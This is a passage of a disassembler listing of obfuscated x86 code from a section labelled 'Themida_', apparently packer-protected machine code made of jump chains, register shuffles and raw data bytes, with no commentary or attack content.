edx pop edx push ecx mov ecx, 1CBE739Fh push ecx not dword ptr [esp] pop ecx add ecx, 4739761Eh xor ebp, ecx mov ecx, [esp] add esp, 4 push edi jmp loc_562544 ; --------------------------------------------------------------------------- dw 8966h dd 0BF66243Ch, 166FFFFh, 665F66FDh, 99A3E957h, 0C2830000h dd 24148704h, 0E924248Bh, 0C9E7h, 5EF7015Dh, 8704C783h dd 81E9243Ch db 0CCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559593: ; CODE XREF: Themida_:005565F2j pop esi jmp loc_553B8F ; --------------------------------------------------------------------------- db 66h, 89h, 0Ch aS_8 db '$Ил&',0 align 2 loc_5595A2: ; CODE XREF: Themida_:00560A42j pop esi push edx mov edx, 1244EADh inc edx jmp loc_559C31 ; --------------------------------------------------------------------------- db 66h dd 1B90C381h, 8AF8E9h, 0C3285A00h, 582434FFh, 4C481h, 602C0000h dd 19E9D828h, 8B000021h, 0C4812404h, 4, 2BB53h, 0B8500000h dd 29391AFCh, 158C629h, 9E22E9DEh, 1C89FFFFh, 5DFEBB24h dd 5C313BA1h, 0E95B0424h, 0BBDCh, 3411685Dh, 0C890000h dd 2BF5724h, 89000000h, 9BC4E9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559616: ; CODE XREF: Themida_:00563715j add ecx, 299B6771h sub ecx, 4E101ADFh jmp loc_559EC7 ; --------------------------------------------------------------------------- loc_559627: ; CODE XREF: Themida_:00557F58j mov [esp], ecx mov ecx, 1510D08h mov eax, 0FEAEF2FCh sub esp, 4 mov [esp], ebx mov ebx, 1705290h push 0 sub dword ptr [esp], 690637D4h jmp loc_555888 ; --------------------------------------------------------------------------- loc_559653: ; CODE XREF: Themida_:0055CD94j add edx, esi sub edx, 72E343Dh jmp loc_560D35 ; --------------------------------------------------------------------------- loc_559660: ; CODE XREF: Themida_:00565E67j pop eax mov ebp, [esp] add esp, 4 add ebp, 5F2F2FE6h pop ebx add ebp, 50261A6h sub ebp, 59EE067Dh dec ebp jmp loc_561817 ; --------------------------------------------------------------------------- db 5Ch dd 0D2F7D587h, 99B8E9h, 20F38000h, 8004F380h, 9BE988E3h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55969B: ; CODE XREF: Themida_:00559C83j neg dword ptr [esp] jmp loc_553569 ; --------------------------------------------------------------------------- aHx db ']hx ',0 dd 8F11E900h, 74FF0000h, 0F6E90424h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5596B7: ; CODE XREF: Themida_:0055E238j mov ecx, [esp] sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], esp push ebx push 4 pop ebx add [esp+4], ebx mov ebx, [esp] jmp loc_55AE2D ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 4C181h, 11E90000h, 5CFFFFA3h, 57243489h dd 0BA3888BFh, 2C67BE01h, 0EEC16973h, 0FAF68104h, 811F3F08h dd 0D93E31C6h, 5FFE29E8h, 8B5EF301h, 0C4812434h, 4, 2434FF50h dd 0E7D8E9h, 88506600h, 6258E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55972E: ; CODE XREF: Themida_:00561318j pop ebp mov ebp, esi mov esi, [esp] jmp loc_55E37F ; --------------------------------------------------------------------------- loc_559739: ; CODE XREF: Themida_:005632DEj add esp, 4 add esp, 4 shl edi, 6 jmp loc_55D58B ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFFA0D2h ; --------------------------------------------------------------------------- loc_559764: ; CODE XREF: Themida_:005600B6j sub edx, 64463E7Bh sub edx, 49603EAh sub ebx, 679A19AFh sub ebx, edx add ebx, 679A19AFh pop edx mov ecx, [ebx] mov ebx, [esp] jmp loc_55A710 ; --------------------------------------------------------------------------- loc_559789: ; CODE XREF: Themida_:0055EFD5j push edi mov edi, 68F30EE1h jmp loc_55ECD2 ; --------------------------------------------------------------------------- dd 4C2815Ah, 56000000h, 0F366F1BEh, 0AE94E04h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5597A7: ; CODE XREF: Themida_:00567FEAj add edi, 4 add edi, 4 jmp loc_562D16 ; --------------------------------------------------------------------------- loc_5597B5: ; CODE XREF: Themida_:005577B5j mov esi, 1A4300CBh mov ebx, 86DB5486h sub ebx, esi push dword ptr [esp] jmp loc_554279 ; --------------------------------------------------------------------------- db 5Fh, 8Fh, 4 aSnb db '$\Иnb',0 dw 5600h dd 0EC83E689h, 241C8904h, 4BBh, 82C68100h, 15C0830h, 82EE81DEh dd 5B5C0830h, 8704EE83h, 895C2434h, 0E389241Ch, 7580E956h dd 6C810000h, 1CAC0424h, 30E941D5h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_55980F: ; CODE XREF: Themida_:00563840j pop edx push 163Dh mov [esp], ebx jmp loc_558E4C ; --------------------------------------------------------------------------- db 4Bh, 81h, 0F3h aUWusO db 'ЦйWЦИо▌',0 dd 76CD8100h, 811B0629h, 95D636C5h, 0E9EF096Eh, 0D3B0h ; --------------------------------------------------------------------------- loc_55983C: ; CODE XREF: Themida_:005573B5j push edi mov edi, 0A1C21EABh add eax, edi push dword ptr [esp] pop edi push eax push esp pop eax add eax, 4 push edi mov edi, 4 push esi jmp loc_565877 ; --------------------------------------------------------------------------- dd 4245401h, 0F2BB5356h, 50018872h, 0C689D889h, 46EEE958h dd 0CF010000h, 0A7F1E9h, 1D20B800h, 0FE94F73h, 33FFFFA5h dd 34312434h, 24343324h, 0E924248Bh, 0FFFF9D61h ; --------------------------------------------------------------------------- loc_559894: ; CODE XREF: Themida_:00563B13j and edx, 262D0071h push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_559F82 ; --------------------------------------------------------------------------- loc_5598AB: ; CODE XREF: Themida_:0056768Fj mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp or ebx, ebx jnz loc_565245 push eax push edx push eax push esi mov esi, 52DD3C63h push esi not dword ptr [esp] pop esi inc esi jmp loc_5555D3 ; --------------------------------------------------------------------------- loc_5598D3: ; CODE XREF: Themida_:0055C79Aj pop ebp pop dword ptr [esp] jmp loc_560E19 ; --------------------------------------------------------------------------- loc_5598DC: ; CODE XREF: Themida_:0055D4F5j mov esi, 21781BAAh and esi, 785D0E2Eh sub esi, 1ABF6624h shl esi, 5 shr esi, 7 jmp loc_567082 ; --------------------------------------------------------------------------- loc_5598F8: ; CODE XREF: Themida_:00560B92j pop edi jmp loc_55A643 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FF242C89h, 8B042474h, 0C481242Ch, 4, 0E924048Fh dd 0C024h, 0E9243C8Bh, 6B5Eh, 2414895Ch, 473068h, 24248900h dd 4240483h, 8B68555Ah, 8900002Eh, 0B9512404h, 108C770Eh dd 0E8E9C889h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55994B: ; CODE XREF: Themida_:005621D5j add ch, bh pop ebx sub bl, 53h jmp loc_567275 ; --------------------------------------------------------------------------- dw 0E789h dd 5E08950h, 4, 42Dh, 24048700h, 0A2B7E9h, 24048F00h, 5F82E9h dd 0B9515200h, 3D2A1295h, 0B514F2BAh, 0E9CA312Dh, 3A8h dd 8758C329h, 665C241Ch, 66243D68h, 48F6654h, 4816624h dd 66000224h, 6624048Fh, 2BA6652h, 44816600h, 534E0224h dd 246C8166h, 661E7902h, 2244481h, 16632DDh, 66022454h dd 2246C81h, 0CE932DDh, 4700007Ch, 86C2E9h, 0F4C58100h dd 68696B04h, 5141h, 55241489h, 0E066EBBDh, 8A94E971h dd 0BD550000h, 1889531Eh, 3514E94Dh, 14890000h, 0E9C68824h dd 0DFABh, 4E31685Bh, 2C890000h, 305AE924h, 0EB810000h dd 7BDF1592h, 0A9E9CB29h db 0D8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559A1F: ; CODE XREF: Themida_:00565B14j pop ecx and eax, ebp push dword ptr [esp] push dword ptr [esp] jmp loc_560060 ; --------------------------------------------------------------------------- db 68h, 67h, 0Ch dd 14890000h, 4EC8124h, 89000000h, 0BB53243Ch, 4, 895BDF89h dd 2434FFFAh, 4C4815Fh, 55000000h, 7F17B7BDh, 0C3B95116h dd 81366723h, 64EF6E1h, 6E9C111h, 0BAE9E1D1h, 68000042h dd 7408799Dh, 0ACDFE9h, 24248B00h, 0FF913AE9h db 0FFh ; --------------------------------------------------------------------------- loc_559A81: ; CODE XREF: Themida_:00559E41j add esi, 435647ACh jmp loc_560C70 ; --------------------------------------------------------------------------- dword_559A8C dd 0FF2434FFh, 34FF2434h, 0C4835A24h, 321A6804h, 14890000h ; DATA XREF: Themida_:00552B6Co dd 617A6824h, 24890000h, 24048124h, 4, 20E2E9h db 0 ; --------------------------------------------------------------------------- loc_559AB5: ; CODE XREF: Themida_:0055D5CCj pop bx xor al, dl pop edx jmp loc_557D5B ; --------------------------------------------------------------------------- loc_559ABF: ; CODE XREF: Themida_:00562579j add ecx, ebx mov ebx, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] shr ecx, 6 push 94Ah mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 43D27F23h inc ecx sub esp, 4 mov [esp], edi push edx push 46A464B3h pop edx neg edx sub edx, 72010433h add edx, 507D059Ah sub edx, 0DBAA1BD4h mov edi, edx pop edx add ecx, edi mov edi, [esp] add esp, 4 add ebp, 60454F5Bh add ebp, ecx sub ebp, 60454F5Bh mov ecx, [esp] jmp loc_566FCD ; --------------------------------------------------------------------------- dw 14F7h dd 0EF815F24h, 8BA4247Ch, 0E95FF801h, 0AA03h, 4B684525h dd 3F693544h, 0E981639Fh, 65F3A6Eh, 0C181C129h, 65F3A6Eh dd 81AE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559B7E: ; CODE XREF: Themida_:00555E66j not dword ptr [esp] jmp loc_553AE0 ; --------------------------------------------------------------------------- loc_559B86: ; CODE XREF: Themida_:00566E04j pop ebp sub eax, 8C6120Ah mov ebx, eax pop eax and eax, ebx push dword ptr [esp] pop ebx push 3673h jmp loc_55CBB1 ; --------------------------------------------------------------------------- loc_559B9F: ; CODE XREF: Themida_:00554520j mov esp, [esp] jmp loc_55DD96 ; --------------------------------------------------------------------------- loc_559BA7: ; CODE XREF: Themida_:00554577j sub eax, 0F4E5E6Eh sub eax, 0FE64D9Eh xor ecx, eax pop eax add edx, ecx push dword ptr [esp] pop ecx add esp, 4 push ebp mov ebp, 4 add edx, ebp push dword ptr [esp] pop ebp jmp loc_554DC3 ; --------------------------------------------------------------------------- dw 8166h dd 663E84CBh, 0C3816643h, 0C1664406h, 506607E3h, 6F2AB866h dd 66C30166h, 0E924048Bh, 5305h ; --------------------------------------------------------------------------- loc_559BF0: ; CODE XREF: Themida_:005607BAj mov edx, 35F5739Ah sub esi, edx pop edx jmp loc_55EA31 ; --------------------------------------------------------------------------- loc_559BFD: ; CODE XREF: Themida_:0055CACDj pop esi sub ebx, 6622239Bh sub esp, 4 mov [esp], ebp mov ebp, 4B3A3453h sub ebx, 0F6C2EE3h add ebx, 6C555DB1h sub ebx, ebp sub ebx, 6C555DB1h add ebx, 0F6C2EE3h jmp loc_5660B7 ; --------------------------------------------------------------------------- loc_559C31: ; CODE XREF: Themida_:005595AAj add edx, 0FFFFFFFFh push edi push 68AA42B0h pop edi sub edx, edi pop edi push ecx jmp loc_554C8C ; --------------------------------------------------------------------------- db 0FFh dd 28E92404h, 0FF00000Ch, 69E92434h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559C57: ; CODE XREF: Themida_:00552FD3j or eax, esi pop esi shl eax, 3 jmp loc_557FD6 ; --------------------------------------------------------------------------- loc_559C62: ; CODE XREF: Themida_:0055EAFEj mov ebx, 4 mov eax, ebx mov ebx, [esp] add esp, 4 jmp loc_55B3CB ; --------------------------------------------------------------------------- loc_559C77: ; CODE XREF: Themida_:00563E65j sub esp, 4 mov [esp], esi mov esi, 17490664h push esi jmp loc_55969B ; --------------------------------------------------------------------------- loc_559C88: ; CODE XREF: Themida_:00558C8Aj add ebp, 2 jmp loc_553D51 ; --------------------------------------------------------------------------- loc_559C90: ; CODE XREF: Themida_:00564406j xor cl, 4 jmp loc_560554 ; --------------------------------------------------------------------------- loc_559C98: ; CODE XREF: Themida_:00564F6Bj mov esi, esp jmp loc_563FEF ; --------------------------------------------------------------------------- byte_559C9F db 66h ; DATA XREF: Themida_:00552A5Co dd 5024048Bh, 0DA47E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559CAA: ; CODE XREF: Themida_:00553304j xor edx, 2B1834D2h jmp loc_55D1F4 ; --------------------------------------------------------------------------- loc_559CB5: ; CODE XREF: Themida_:00560E44j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp xor ebx, eax push dword ptr [eax] jmp loc_5664C5 ; --------------------------------------------------------------------------- dd 83241C8Bh, 0E8E904C4h, 8F0000C9h, 895C2404h, 5682434h dd 89000011h, 4832424h, 29E90424h db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559CEB: ; CODE XREF: Themida_:0055B805j inc edx sub edx, 0CF3D474h add edi, edx pop edx sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax mov eax, 10h and ebx, eax push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], edi push esp pop edi jmp loc_55FBE4 ; --------------------------------------------------------------------------- loc_559D19: ; CODE XREF: Themida_:0055ABD2j push 65D1h mov [esp], edi mov edi, 4C9C718Dh push edi xchg ebp, [esp] xchg eax, ebp jmp loc_5677ED ; --------------------------------------------------------------------------- dd 0BEEA8159h, 0E928451Dh, 0FFFFA770h, 43BC581h, 72E92A17h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559D47: ; CODE XREF: Themida_:00559390j push 20D65EFh pop ebx and edx, ebx jmp loc_55DE12 ; --------------------------------------------------------------------------- loc_559D54: ; CODE XREF: Themida_:0055C44Dj add ecx, 3C6354CCh pop edi add ecx, eax push eax jmp loc_55D4FA ; --------------------------------------------------------------------------- db 1 dd 0ED8158C5h, 0FFFFFFFFh, 0B850DDF7h, 40E249EAh, 0AB3C1935h dd 0DBBF5723h, 4F4D506Fh, 2119B850h, 0E8C13454h, 1F33E902h dd 36B80000h, 0E97E0E55h, 1CD1h, 6CEB80h, 6CC380E3h, 8324048Bh dd 0EB8004C4h, 0C0B60F6Eh, 0DABEE9h db 0 ; --------------------------------------------------------------------------- loc_559DB1: ; CODE XREF: Themida_:00555E53j sub eax, 47BE4C3Dh sub eax, ebp add eax, 47BE4C3Dh pop ebp jmp loc_56392C ; --------------------------------------------------------------------------- aYh? db 'Yh?{',0 dd 24348900h, 42474FFh, 13C8E9h, 18C80500h, 0C621F8C3h dd 5EFFE9h db 0 ; --------------------------------------------------------------------------- loc_559DE1: ; CODE XREF: Themida_:00561B8Aj pop esi mov ebx, 6BDB3C87h xor ebx, ecx pop ecx jmp loc_55E9F6 ; --------------------------------------------------------------------------- db 33h dd 248B240Ch, 0E6895624h, 4C681h, 0EE810000h, 4, 31243433h dd 34332434h, 24248B24h, 54240C89h, 0FFB548E9h, 0A8C781FFh dd 473A3167h, 0FAF78147h, 817B5076h, 0B3DBCDF7h, 5FFE0977h dd 534C681h, 0EE9404Bh db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_559E3B: ; CODE XREF: Themida_:00557400j and esi, 12F91007h jmp loc_559A81 ; --------------------------------------------------------------------------- loc_559E46: ; CODE XREF: Themida_:0055F5A2j shr edi, 6 add edi, 69F9104Fh jmp loc_55ECE7 ; --------------------------------------------------------------------------- dd 38ADE381h, 0E3C177D9h, 0C7FCE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559E62: ; CODE XREF: Themida_:0055567Dj xchg ebx, esi jmp loc_566553 ; --------------------------------------------------------------------------- loc_559E69: ; CODE XREF: Themida_:00565F2Cj add ecx, 4 jmp loc_567995 ; --------------------------------------------------------------------------- dd 0D5F7EB87h, 9EE9EB87h, 0B9FFFFF9h, 2E982FFFh, 4106E1C1h dd 0FFA545E9h db 0FFh ; --------------------------------------------------------------------------- loc_559E8D: ; CODE XREF: Themida_:00566FE1j pop dword ptr [esp] mov esp, [esp] jmp loc_5576E3 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 0AD0Ah ; --------------------------------------------------------------------------- loc_559EA0: ; CODE XREF: Themida_:0055E89Bj add esi, 4 push edx mov edx, 4 jmp loc_55739A ; --------------------------------------------------------------------------- loc_559EB1: ; CODE XREF: Themida_:0055B02Fj xor esi, [esp] mov esp, [esp] jmp loc_55F393 ; --------------------------------------------------------------------------- dd 4C181h, 4AE90000h db 0A4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559EC7: ; CODE XREF: Themida_:00559622j sub ecx, 0C8CA5FE7h mov ebx, ecx pop ecx sub ebx, esi push ebx add dword ptr [esp], 9B83197h pop esi sub esi, 9B83197h jmp loc_56331E ; --------------------------------------------------------------------------- dw 875Ch dd 895C241Ch, 52BA2414h, 55558B72h, 6C2817BDh, 5DEF2911h dd 0FFE15CE9h, 4EC83FFh, 51241489h, 0E9C0A0B1h, 0DCE98005h dd 0C09BE980h, 0C18005E9h, 0DA2BE930h, 0F4800000h, 9EC80DCh dd 8058E328h, 54E991EBh, 0E90000CFh, 0FFFF8C87h dword_559F34 dd 12B551ACh, 0C016B450h, 0E48005E4h, 0D0DBE9DFh, 1C890000h ; DATA XREF: Themida_:00552ABCo dd 6E1BBB24h, 0E3815797h, 69FC680Dh, 0E9D3F74Bh, 0FFFFCF22h ; --------------------------------------------------------------------------- loc_559F5C: ; CODE XREF: Themida_:0055585Aj mov edi, [esp] add esp, 4 mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_55927F ; --------------------------------------------------------------------------- loc_559F77: ; CODE XREF: Themida_:005667F6j add ebx, 40B70AF3h jmp loc_565AFB ; --------------------------------------------------------------------------- loc_559F82: ; CODE XREF: Themida_:005598A6j xchg esi, [esp] pop esp jmp loc_5630E0 ; --------------------------------------------------------------------------- db 0BBh dd 22472E64h, 2E17BE56h, 0F6816A8Dh, 1B593E94h, 56BAE9h db 0 ; --------------------------------------------------------------------------- loc_559FA1: ; CODE XREF: Themida_:0055A393j add ebx, 4 push esi push 4 pop esi jmp loc_5635C8 ; --------------------------------------------------------------------------- db 2Dh dd 384D781Ch, 0D1E9C801h, 0C10000C3h, 0D5F706E5h, 7E79ED81h dd 5EE9A7B2h, 29000013h, 25F9E9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559FD6: ; CODE XREF: Themida_:00556BB5j sub ebx, 5C35684Fh mov edi, [esp] add esp, 4 mov dx, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_565726 ; --------------------------------------------------------------------------- loc_559FFF: ; CODE XREF: Themida_:0056383Aj push ecx xor dword ptr [esp], 2A730A3Eh pop dword ptr [edi+24h] push ebx mov ebx, 24h add ebx, edi xor dword ptr [ebx], 2A730A3Eh pop ebx push dword ptr [esp] pop ecx add esp, 4 xor edx, edx push 7D13h mov [esp], ebx push 83Bh mov [esp], ecx mov ecx, 258C4003h jmp loc_5669F5 ; --------------------------------------------------------------------------- db 29h dd 81042474h, 0AC042444h, 0E941D51Ch, 60C7h aM0H? db '╛0ьh?,',0 ; DATA XREF: Themida_:00552B08o align 4 dd 0B2241489h, 0B3535084h, 0E9D888DCh, 80ACh ; --------------------------------------------------------------------------- loc_55A068: ; CODE XREF: Themida_:0055A083j add eax, ebp jmp loc_55640C ; --------------------------------------------------------------------------- loc_55A06F: ; CODE XREF: Themida_:0056478Fj add esp, 4 xor ebp, 4CBB1536h mov esi, [esp] add esp, 4 sub eax, 17FB28A4h jmp loc_55A068 ; --------------------------------------------------------------------------- dd 88515066h, 59C888F1h, 0C688D0F6h, 39E95866h, 500001Bh dd 53D028D3h, 0D32DF001h, 553D028h, 120559FDh, 58C7015Eh dd 665FF831h, 5600B60Fh, 45AA68h, 24248900h, 4240483h dd 4BB535Eh, 1000000h, 2B685BDEh, 89000007h, 47E9240Ch dd 8100008Ch, 146D50C1h, 242C8B29h, 8904EC83h, 5EE9241Ch db 0F6h, 2 dup(0FFh) byte_55A0EF db 0FFh ; DATA XREF: Themida_:0055299Co a4Snz db '4$ИN┤',0 dw 5000h dd 0FFB177E9h, 5FFE89FFh, 295EF029h, 1F3705E8h, 8B5D642Eh dd 0C483242Ch, 4139E904h, 0BD550000h, 0AD320D7h, 2C8BEE29h dd 4C48324h, 2C31E9h db 0 ; --------------------------------------------------------------------------- loc_55A129: ; CODE XREF: Themida_:00566B5Dj pop ecx jmp loc_55C3E1 ; --------------------------------------------------------------------------- db 31h dd 1055EF0h, 0F7000000h, 32C625D8h, 0E8C13DADh, 32CA6802h dd 0FEE90000h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A14B: ; CODE XREF: Themida_:00566F72j add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] and eax, edx mov edx, [esp] add esp, 4 or edx, eax shl edx, 1 push ebp push 6B8Ch mov [esp], ebx push 1 mov ebx, [esp] jmp loc_565221 ; --------------------------------------------------------------------------- db 81h dd 6BB162EDh, 5DEF29F6h, 121DCF81h, 58E93FE5h, 31FFFFBAh dd 1C33241Ch, 0CD5DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A19E: ; CODE XREF: Themida_:0055CF98j pop eax shr ecx, 2 push 2180h mov [esp], ebx jmp loc_559174 ; --------------------------------------------------------------------------- loc_55A1AF: ; CODE XREF: Themida_:00562AA7j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop esi sub dword ptr [esp+4], 151E4D03h add [esp+4], eax push ebx push ecx mov ecx, 151E4D03h jmp loc_557E2A ; --------------------------------------------------------------------------- dw 0BB53h dd 4E965F02h, 0AE9DE9h, 3D616800h, 0C890000h, 4B924h, 0C5810000h dd 69C73022h, 5657CD01h, 5B12A8BEh, 35B85000h, 0E9050174h dd 0AC56h, 6857EDD1h, 142D89h, 0EBC5815Fh, 29219253h, 0EBB951FDh dd 29219253h, 73E959CDh db 0AAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A22B: ; CODE XREF: Themida_:0055DDFAj mov [esp], ecx push esp mov ecx, [esp] jmp loc_5656CC ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24248900h, 4240481h, 8B000000h, 0C483240Ch, 0CD4FE904h dd 0D101FFFFh, 4C1835Ah, 31240C33h, 0C33240Ch, 0C9095C24h dd 0E86C840Fh, 0EC83FFFFh, 243C8904h, 9268E789h, 0E900005Bh dd 2ED9h ; --------------------------------------------------------------------------- loc_55A27C: ; CODE XREF: Themida_:00561353j dec ch xor ch, 0B1h shl ch, 2 jmp loc_5584D7 ; --------------------------------------------------------------------------- loc_55A289: ; CODE XREF: Themida_:00553043j sub edi, eax pop eax xchg edi, [esp] pop esp mov [esp], edx jmp loc_565F9C ; --------------------------------------------------------------------------- dd 0D0E95250h, 8FFFFFF7h, 248B2404h, 68E9F724h, 753Eh dd 68240489h, 52BBh, 24048F54h, 4240483h, 0B7B4E958h, 0C288FFFFh dd 885AD188h, 0F65B66F8h, 30C830D1h, 4C830C1h, 812C0401h dd 4ECh, 241C8900h, 81C28852h, 4ECh, 24048900h, 0C788D088h dd 88505A58h, 0E9E288FCh, 0FFFFAF05h, 54243489h, 5024348Bh dd 405E089h, 5000000h, 4, 5C240487h, 8904EC83h, 34BB241Ch dd 8700D773h, 87DAF7D3h, 68D3h, 0BD550000h, 2AB53B0Ah dd 4246C01h, 0EAD6E95Dh, 814DFFFFh, 25511FEDh, 1CB85009h dd 31E6E77Bh, 24048BC5h, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 295DEE89h, 0C7815BDEh, 4BE24F03h, 0EF81F701h, 4BE24F03h dd 8324348Bh, 0ACE904C4h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A37B: ; CODE XREF: Themida_:0055F75Bj mov [esp], edi mov edi, 9DF3E64h xor eax, edi pop edi add esi, eax pop eax push 27D2h mov [esp], ebx mov ebx, esp jmp loc_559FA1 ; --------------------------------------------------------------------------- dd 30BDC181h, 0E98139ACh, 66BF50F1h, 67A8C181h, 0F1016E0Fh dd 67A8E981h, 0C1816E0Fh, 66BF50F1h, 30BDE981h, 0BA5239ACh dd 27DE776Dh, 0FF5AD101h, 34FF2434h, 0E9575E24h, 0FFFFAE72h ; --------------------------------------------------------------------------- loc_55A3D4: ; CODE XREF: Themida_:00553F29j mov ebx, 48CF1EC0h xor ebx, 5B1256F1h jmp loc_564F3E ; --------------------------------------------------------------------------- aPirsxm db 'P┴ЮИЕ▄',0 align 4 dd 3345C005h, 2FF30579h, 0E8011D2Dh, 2D2FF32Dh, 45C02D1Dh dd 0FAE97933h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A407: ; CODE XREF: Themida_:0055827Ej mov [esp], eax mov eax, 128F2FCEh xor ecx, eax pop eax sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], ecx mov ecx, 3C7865EDh and ecx, 7E322026h and ecx, 592F122Fh shl ecx, 7 inc ecx push edx push 2EBB7B2Ah mov edx, [esp] push ecx push esp jmp loc_5638F6 ; --------------------------------------------------------------------------- db 0C1h, 0E6h, 8 dd 6FCFBF57h, 0BE560B84h, 745073D2h, 348BF701h, 4C48324h dd 2265E952h, 0C4830000h, 0B5E98104h, 1027171h, 0B5C181E9h dd 5D027171h, 61BA5255h, 0BD1FAD28h, 1FAD2863h, 7444E9h dd 243C2900h, 0E9574F5Fh, 0FFFFF6BAh, 0BEE9525Eh db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A49B: ; CODE XREF: Themida_:00555F82j add ebp, 0B333AE6h jmp loc_55C593 ; --------------------------------------------------------------------------- dw 0C89h dd 0AE7B924h, 0D1F72546h, 2455E949h, 0E7C10000h, 0FEC78104h dd 894D9CEDh, 0D386E9FEh, 0ABFFFFFh, 0F7176712h, 0E7C147D7h dd 1FEF8103h, 10C62F4h, 0E9575FF9h, 9407h, 0CE1A15BFh dd 0BFE94751h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A4EB: ; CODE XREF: Themida_:0055C3F6j pop ecx push ebx push ebp jmp loc_5585F3 ; --------------------------------------------------------------------------- loc_55A4F3: ; CODE XREF: Themida_:0055C6C0j push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5629AB ; --------------------------------------------------------------------------- aOxmc1Xskl db '╦oЕ▄c1гXИ╙l',0 dd 88505800h, 58E788F4h, 88CFFE5Ah, 0C05B66F9h, 0E98004E1h dd 4EC83DAh, 88241489h, 5AF388CEh, 0B6526659h, 66F0282Fh dd 8324148Bh, 0D82802C4h, 464DE9h, 0D3665C00h, 0E99C2424h dd 30D4h, 57241C89h, 377AB168h, 243C8B2Ch, 8119E953h, 0FB890000h dd 0FF9561E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A565: ; CODE XREF: Themida_:00562AAFj mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 jmp loc_55E9AB ; --------------------------------------------------------------------------- dd 5D2434FFh, 5E08950h, 4, 8704C083h, 9CE92404h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A58B: ; CODE XREF: Themida_:00554426j xchg ecx, [esp] pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5647B2 ; --------------------------------------------------------------------------- loc_55A59D: ; CODE XREF: Themida_:005555ECj pop dword ptr [esp] add dword ptr [esp], 4 pop eax push ebp push edi mov edi, 1E0A6F89h mov ebp, edi pop edi push edi mov edi, 3E835FB7h inc edi and edi, 3FA557D3h not edi jmp loc_5576C0 ; --------------------------------------------------------------------------- db 0C0h dd 0B15106E0h, 59C82872h, 1FB968h, 24148900h, 860AE9h dd 5BDE0100h, 2BB53h, 0DE290000h, 694EE95Bh, 0BF570000h dd 11171742h, 0FFE601E9h, 41E95DFFh, 89FFFFF7h, 0B9682414h dd 89000012h, 148B2404h, 80685524h, 5400002Eh, 0E924048Fh dd 48CFh ; --------------------------------------------------------------------------- loc_55A618: ; CODE XREF: Themida_:00561D55j sub ebp, 41E2CB3h or ecx, ebp pop ebp xor ecx, 23FE1187h xor ecx, 1E166F6h jmp loc_5594EE ; --------------------------------------------------------------------------- loc_55A632: ; CODE XREF: Themida_:00561E71j mov ebx, [esp] add esp, 4 sub ebp, 4 jmp loc_562AAC ; --------------------------------------------------------------------------- loc_55A643: ; CODE XREF: Themida_:005598F9j sub ebx, 7F3179EAh jmp loc_558D93 ; --------------------------------------------------------------------------- loc_55A64E: ; CODE XREF: Themida_:00561CB1j add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5680ED ; --------------------------------------------------------------------------- dw 0E6C1h dd 0CFC4E903h, 0BB530000h, 53A104BAh, 6198E9h, 81F50100h dd 783818EDh, 8A0FE918h, 505D0000h, 4B8h, 58C20100h, 31241433h dd 14332414h, 88BDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A69A: ; CODE XREF: Themida_:0056203Aj add eax, 29912E4h add eax, 3B31A58h pop edi xchg eax, [esp] pop esp add ebx, eax pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] idiv ecx push 276Dh jmp loc_55B4EE ; --------------------------------------------------------------------------- loc_55A6C4: ; CODE XREF: Themida_:0055798Dj mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push 7571h mov [esp], 